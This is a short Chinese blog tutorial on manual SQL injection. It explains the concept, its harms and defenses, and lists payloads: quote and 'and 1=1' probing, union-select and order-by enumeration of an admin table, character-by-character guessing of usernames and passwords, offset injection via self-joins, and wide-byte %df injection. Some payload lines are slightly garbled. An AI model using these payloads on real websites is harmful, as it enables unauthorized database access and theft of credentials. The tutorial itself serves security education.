基础篇——SQL注入(手工注入)
SQL注入
当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习
是什么?
首先我们要明白SQL注入是什么:
sql——结构化查询语言
SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的。
SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令
危害及防护
危害:SQL注入可以使入侵者获取后台账号密码、拖库、进入后台破坏、拿shell
防护:设置网站黑名单、限制敏感词汇、对用户输入进行转义、将参数语句化
怎么做?
明白什么时SQL注入后我们就要学习如何注入。
注入的前提是要找到注入漏洞,通常判断是否存在SQL注入漏洞的方法有:
1、 ‘ 单引号判断
2、 and 1=1 1=2 判断
找到注入漏洞后就可以进行SQL注入了,注入方法分为很多种:
联合查询法
逐字猜解法
偏移注入法
宽字节注入
时间、布尔盲注
报错注入
进行注入可以使用手工和工具,手工注入方法:
1、联合查询法
首先判断存在注入漏洞后:
1、使用order by
2、使用联合查询语句:union select nums,nums(字段数) from admin(数据库表名)
3、根据返回内容进一步猜解列名:账号密码
2、逐字猜解法:
逐字猜解不需要进行猜解字段,直接使用逐字猜解语句猜解库名、列名以及账号密码
逐字猜解语句:
and exists (select * from 表名)
and exists (select 列名 from 表名)
and (select top 1 len(用户名) from admin ) =名字长度
and (select top 1 asc(mid用户名,1,1)from admin )=97 (判断第一位的ascll值)
and (select top 1 asc(mid用户名,2,1)from admin )=97 (第二位)
逐字猜解方法偏于繁琐,熟悉手工注入方式即可,在渗透测试过程中还是要讲究效率问题
3、偏移注入法:
偏移注入属于无法猜解账号密码后尝试的使用方法,注入结果带有一点运气的成分
偏移注入语句:
order by 猜解字段
union select num,num,num from 表名
union select num,num,* from admin 逐个递减字段数,当可以正常访问则证明admin表存在(递减字段数假设为x)个字段
之后每次递减x个字段
递减一个x后
union select num * from(admin as ainner join admin as b on a.id=b.id)
递减两个x后
union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
逐个递减直到所剩字段小于x后(不一定可以得到所要结果)
4、宽字节注入法:
什么时候使用宽字节呢?当web编码使用GBK时,可以将单引号转义则使用宽字节注入
宽字节注入:%df (注入语句)%23
5、报错注入,盲注则根据页面返回情况,返回时间进行注入
以上即为常用的几种手工注入方式,如有错误请留言,博主及时更正!